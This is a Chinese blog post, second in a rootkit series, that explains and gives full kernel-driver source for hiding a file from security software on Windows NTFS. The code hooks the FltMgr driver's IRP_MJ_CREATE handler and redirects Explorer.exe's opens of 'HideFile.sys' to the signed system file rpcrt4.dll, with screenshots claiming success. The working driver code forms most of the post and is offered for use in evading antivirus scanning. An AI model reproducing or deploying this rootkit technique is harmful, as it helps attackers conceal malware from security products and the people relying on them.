Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

文章目录

    • 前言
    • 探究
    • 代码
    • 演示

前言

文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。

探究

现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。

为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName

NTSATUS ObReferenceObjectByName(
	_In_ PUNICODE_STRING ObjectName, // 驱动对象名
	_In_ ULONG Attributes,			// 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
	_In_ PACCESS_STATE AccessState,	 // 访问状态,一般填 NULL
	_In_ ACCESS_MASK DesiredAccess,	 // 预期的访问值,一般填0
	_In_ POBJECT_TYPE ObjectType,	 // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc
	_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode
	_In_opt_ PVOID ParseContext,	 // 一般填NULL
	_Inout_ PVOID* Object);			// 输出对象指针

于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。

代码

#include 

using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(
	_In_ PUNICODE_STRING ObjectName,
	_In_ ULONG Attributes,
	_In_ PACCESS_STATE AccessState,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ POBJECT_TYPE ObjectType,
	_In_ KPROCESSOR_MODE AccessMode,
	_In_opt_ PVOID ParseContext,
	_Inout_ PVOID* Object
	);

// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;

extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);



VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
	pDrvObj->DriverUnload = DriverUnload;

	if (RetrievesKernelUnDocumentFuncition())
	{
		if (HookFltMgr(FALSE))
		{
			ntStatus = STATUS_SUCCESS;
		}
	}

	return ntStatus;
}

VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{
	if (HookFltMgr(TRUE))
	{
		// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。
		LARGE_INTEGER liDelayInterval;
		liDelayInterval.QuadPart = -1 * 100 * 100 * 10;
		KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);
		DbgPrint("[+] UnHook FileSysDriver.\n");
	}
	DbgPrint("[+] Driver unload.\n");
}

BOOLEAN HookFltMgr(BOOLEAN bRemove)
{
	UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
	PDRIVER_OBJECT pFileSysDrvObj = NULL;
	PDRIVER_OBJECT pTargetDrvObj = NULL;
	PDEVICE_OBJECT pFileSysDevObj = NULL;
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;

	ntStatus = g_FnObReferenceObjectByName(
		&uszTargetDriverName,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		0,
		*IoDriverObjectType,
		KernelMode,
		NULL,
		(PVOID*)&pFileSysDrvObj);

	if (!NT_SUCCESS(ntStatus))
	{
		goto free_exit;
	}

	pFileSysDevObj = pFileSysDrvObj->DeviceObject;
	if (!MmIsAddressValid(pFileSysDevObj))
	{
		goto free_exit;
	}

	if (pFileSysDevObj->AttachedDevice)
	{
		if (MmIsAddressValid(pFileSysDevObj->AttachedDevice))
		{
			// 取到的就是FltMgr的 Driver object
			pTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;
		}
		else
		{
			goto free_exit;
		}
	}
	else
	{
		// 说明没有过滤驱动,直接使用当前文件系统驱动
		pTargetDrvObj = pFileSysDrvObj;
	}

	if (!pTargetDrvObj)
	{
		goto free_exit;
	}

	if (bRemove)
	{
		InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)g_FnOriginalCreateFileHandler);
	}
	else
	{
		g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64(
			(LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)FsCreateFileHandler_Proxy);
	}
	
	ntStatus = STATUS_SUCCESS;

free_exit:
	if (pFileSysDrvObj)
	{
		ObDereferenceObject(pFileSysDrvObj);
	}

	return NT_SUCCESS(ntStatus);
}

BOOLEAN RetrievesKernelUnDocumentFuncition()
{
	UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");

	g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);
	return g_FnObReferenceObjectByName != NULL;
}

static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{
	PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);
	PUNICODE_STRING puzFileObjectName = NULL;
	PCHAR pszProcName = NULL;
	// 预定义重定向路径
	WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";
	ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);
	// 做一些前置检查:
	// (1) Irql级别必须在PASSIVE_LEVEL
	// (2) 当前IRQL栈不为空
	// (3) 当前IRQL栈中的文件对象不为空
	if ((KeGetCurrentIrql() != PASSIVE_LEVEL)
		|| (pIostkloc == NULL)
		|| (pIostkloc->FileObject == NULL))
	{
		goto goon;
	}

	// 只处理Explorer.exe进程文件打开情况
	pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());
	if (_stricmp(pszProcName, "Explorer.EXE"))
	{
		goto goon;
	}

	puzFileObjectName = &pIostkloc->FileObject->FileName;
	// 过滤出要隐藏的文件
	if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys"))
	{
		goto goon;
	}
	// 将打开的文件路径改为预定义的文件路径实现重定向
	if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR))
	{
		RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);
		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}
	else
	{
		// 尝试释放原来的内存,防止泄露
		if (puzFileObjectName->Buffer)
		{
			ExFreePool(puzFileObjectName->Buffer);
		}

		puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(
			NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');
		if (!puzFileObjectName->Buffer)
		{
			goto goon;
		}

		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}

goon:
	return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}

演示

Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】_第1张图片
Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】_第2张图片
可以发现Explorer被忽悠了。

你可能感兴趣的:(黑客编程,网络安全,Rookit)